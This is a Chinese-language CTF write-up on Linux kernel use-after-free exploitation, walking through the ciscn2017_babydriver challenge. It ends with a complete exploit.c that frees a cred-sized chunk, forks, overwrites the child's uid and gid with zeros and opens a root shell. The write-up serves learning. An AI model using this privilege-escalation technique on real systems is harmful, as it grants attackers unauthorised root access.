0%

linux kernel pwn学习之UAF

与用户态下的glibc差不多,都是对已经释放的空间未申请就直接使用,[内核的UAF往往是出现在多线程多进程多文件的情况下。]{.mark}即,假如某个用户程序对用一个内核驱动文件打开了两次,有两个文件描述符,它们都指向了该驱动,又因为是在同一个程序里,所以[当我们释放掉其中一个文件描述符后,还可以使用另一个文件描述符来操控驱动。]{.mark}

为了加深理解,我们就以一题为例

ciscn2017_babydriver

我们用IDA分析一下驱动程序,ioctl函数定义了一个交互命令0x10001,作用是释放之前的堆,申请一个用户指定大小的堆。

在单文件的情况下,没有问题,加入我们在程序里,对该驱动程序,打开了两个文件描述符,先利用第一个文件描述符来与驱动交互,申请一个堆。然后关闭第一个文件描述符。在关闭文件描述符时,对应的close函数会被调用

该函数释放了堆。然而,[我们仍然可以使用第二个文件描述符来对这个堆进行读写操作。,这就造成了UAF。]{.mark}

Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如**[果在空闲的堆里存在符合申请的大小的堆]{.mark},则直接把这个堆处理后返回给申请方。为了提权,关键就是修改进程的cred结构,而进程的cred结构也是保存在堆里,进程创建时,就会申请cred结构的空间,来存放cred结构。[如果cred结构申请到我们能控制的空间里,那么我们就能自由修改cred结构,实现提权。]{.mark}**

为了实现这个目的,[我们可以申请一个与cred结构大小相等的堆,然后释放掉]{.mark}。这样,如果我们**[接下来fork一个子进程]{.mark}**,那么子进程申请cred结构的空间时,发现空闲堆里有符合的堆,则拿过来用,而这个堆正是我们UAF能够控制的。**利用UAF,把cred结构里的uid、gid等覆盖为0,即可得到root权限。**至于cred的大小如何确定,有两种方法,第一种是查看对应版本的linux内核源码;第二种则是写一个简易的c语言程序,输出cred的大小。

[本题的linux内核版本为4.4.72,cred结构大小为0xA8。]{.mark}

知道了以上的原理后,我们就可以编写exploit.c程序来提权了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>  
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main() {
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
char buf[30];
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}
//申请一个与cred结构体大小一样的堆
ioctl(fd1,0x10001,0xA8);
//释放这个堆
close(fd1);
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) { //子进程
//UAF,通过fd2,覆盖子进程的cred结构里的几个uid、gid
memset(buf,0,28);
write(fd2,buf,28);
if (getuid() == 0) {
printf("[+]rooted!!\n");
system("/bin/sh");
}
} else { //父进程等待子进程结束
wait(NULL);
}
close(fd2);
return 0;
}